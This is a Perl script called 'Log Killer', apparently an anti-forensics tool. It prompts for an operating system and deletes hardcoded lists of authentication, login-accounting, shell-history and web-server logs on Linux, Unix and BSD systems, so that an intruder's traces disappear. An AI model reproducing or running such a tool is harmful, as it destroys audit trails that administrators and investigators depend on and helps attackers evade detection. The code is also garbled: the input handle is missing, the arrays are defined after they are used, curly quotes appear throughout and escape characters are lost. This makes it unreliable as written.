[cc lang=”perl”]#!usr/bin/perl
{
$resume = 1;

print “##################################n”;
print “# Log Killer V 1.0 #n”;
while($resume == 1) #Start Loop
{
print “# Usage log.pl #n”;
print “# Operating System Choice #n”;
print “#——————————–#n”;
print “# linux #n”;
print “# sunos #n”;
print “# aix #n”;
print “# irix #n”;
print “# openbsd #n”;
print “# solaris #n”;
print “# suse #n”;
print “# lampp #n”;
print “# debian #n”;
print “# freebsd #n”;
print “# misc Possible Log Locations #n”;
print “##################################n”;

chomp($os = );

if($os eq “misc”){ #If misc typed, do the following and start brackets
print “[+]misc Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @misc;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “openbsd”){ #If openbsd typed, do the following and start brackets
print “[+]openbsd Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @openbsd;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “freebsd”){ #If freebsd typed, do the following and start brackets
print “[+]freebsd Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @freebsd;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “debian”){ #If Debian typed, do the following and start brackets
print “[+]debian Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @debian;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “suse”){ #If suse typed, do the following and start brackets
print “[+]suse Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @suse;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “solaris”){ #If solaris typed, do the following and start brackets
print “[+]solaris Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @solaris;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “lampp”){ #If lampp typed, do the following and start brackets
print “[+]Lampp Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @lampp;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “redhat”){ #If redhat typed, do the following and start brackets
print “[+]Red Hat Linux/Mac OS X Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @redhat;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “linux”){ #If linux typed, do the following and start brackets
print “[+]Linux Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @linux;
sleep 1;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “sunos”){ #If sunos typed, do the following and start brackets
print “[+]SunOS Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @sunos;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “aix”){ #If aix typed, do the following and start brackets
print “[+]Aix Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @aix;
print “[+]Logs Successfully Deleted…n”;
}

if($os eq “irix”){ #If irix typed, do the following and start bracket
print “[+]Irix Selected…n”;
sleep 1;
print “[+]Logs Located…n”;
sleep 1;
unlink @irix;
print “[+]Logs Successfully Deleted…n”;
}

#Misc Log Locations
{
@misc = (“/etc/httpd/logs/access.log”, “/etc/httpd/logs/error.log”,”/etc/httpd/logs/access_log”,
“/etc/httpd/logs/error_log”,”/usr/local/apache/logs/access_log”,”/usr/local/apache/logs/error_log”,
“/usr/local/apache/logs/access.log”,”/usr/local/apache/logs/error.log”,”/var/log/apache/access_log”,
“/var/log/apache/error_log”,”/var/log/apache/access.log”,”/var/log/apache/error.log”,”/var/log/access_log”,
“/var/log/error_log”,”/var/www/logs/error.log”,”/var/www/logs/access.log”,”/var/www/logs/error_log”,
“/var/www/logs/access_log”)
}

#Logs of OpenBSD Systems

{
@openbsd = (“/var/www/log/access_log”, “/var/www/log/error_log”)
}

#Logs of FreeBSD Systems

{
@freebsd = (“/usr/local/etc/httpd/logs/access_log”, “/usr/local/etc/httpd/logs/error_log”)
}

#Logs of Debian Systems

{
@debian = (“/var/log/apache/access.log”, “/var/log/apache/error.log”,
“/var/log/apache-ssl/error.log”, “/var/log/apache-ssl/access.log”)
}

#Logs of SuSE Linux Systems

{
@suse = (“/var/log/httpd/access_log”, “/var/log/httpd/error_log”)
}

#Logs of Solaris Systems

{
@solaris = (“/var/apache/logs/access_log”, “/var/apache/logs/error_log”)
}

#Logs of Lampp Systems

{
@lampp = (“/opt/lampp/logs/error_log”, “/opt/lampp/logs/access_log”)
}

#Logs of Red Hat, Mac OS X Systems

{
@redhat = (“/var/log/httpd/access_log”, “/var/log/httpd/error_log”)
}

#Logs of Irix Systems

{
@irix = (“/var/adm/SYSLOG”, “/var/adm/sulog”, “/var/adm/utmp”, “/var/adm/utmpx”,
“/var/adm/wtmp”, “/var/adm/wtmpx”, “/var/adm/lastlog/”,
“/usr/spool/lp/log”, “/var/adm/lp/lp-errs”, “/usr/lib/cron/log”,
“/var/adm/loginlog”, “/var/adm/pacct”, “/var/adm/dtmp”,
“/var/adm/acct/sum/loginlog”, “var/adm/X0msgs”, “/var/adm/crash/vmcore”,
“/var/adm/crash/unix”)
}

#Log sof Aix Systems
{
@aix = (“/var/adm/pacct”, “/var/adm/wtmp”, “/var/adm/dtmp”, “/var/adm/qacct”,
“/var/adm/sulog”, “/var/adm/ras/errlog”, “/var/adm/ras/bootlog”,
“/var/adm/cron/log”, “/etc/utmp”, “/etc/security/lastlog”,
“/etc/security/failedlogin”, “usr/spool/mqueue/syslog”)
}

#Logs of SunOS Systems
{
@sunos = (“/var/adm/messages”, “/var/adm/aculogs”, “/var/adm/aculog”,
“/var/adm/sulog”, “/var/adm/vold.log”, “/var/adm/wtmp”,
“/var/adm/wtmpx”, “/var/adm/utmp”, “/var/adm/utmpx”,
“/var/adm/log/asppp.log”, “/var/log/syslog”,
“/var/log/POPlog”, “/var/log/authlog”, “/var/adm/pacct”,
“/var/lp/logs/lpsched”, “/var/lp/logs/requests”,
“/var/cron/logs”, “/var/saf/_log”, “/var/saf/port/log”)
}

#Logs of Linux Systems
{
@linux = (“/var/log/lastlog”, “/var/log/telnetd”, “/var/run/utmp”,
“/var/log/secure”,”/root/.ksh_history”, “/root/.bash_history”,
“/root/.bash_logut”, “/var/log/wtmp”, “/etc/wtmp”,
“/var/run/utmp”, “/etc/utmp”, “/var/log”, “/var/adm”,
“/var/apache/log”, “/var/apache/logs”, “/usr/local/apache/logs”,
“/usr/local/apache/logs”, “/var/log/acct”, “/var/log/xferlog”,
“/var/log/messages/”, “/var/log/proftpd/xferlog.legacy”,
“/var/log/proftpd.xferlog”, “/var/log/proftpd.access_log”,
“/var/log/httpd/error_log”, “/var/log/httpsd/ssl_log”,
“/var/log/httpsd/ssl.access_log”, “/etc/mail/access”,
“/var/log/qmail”, “/var/log/smtpd”, “/var/log/samba”,
“/var/log/samba.log.%m”, “/var/lock/samba”, “/root/.Xauthority”,
“/var/log/poplog”, “/var/log/news.all”, “/var/log/spooler”,
“/var/log/news”, “/var/log/news/news”, “/var/log/news/news.all”,
“/var/log/news/news.crit”, “/var/log/news/news.err”, “/var/log/news/news.notice”,
“/var/log/news/suck.err”, “/var/log/news/suck.notice”,
“/var/spool/tmp”, “/var/spool/errors”, “/var/spool/logs”, “/var/spool/locks”,
“/usr/local/www/logs/thttpd_log”, “/var/log/thttpd_log”,
“/var/log/ncftpd/misclog.txt”, “/var/log/nctfpd.errs”,
“/var/log/auth”)
}

}

}[/cc]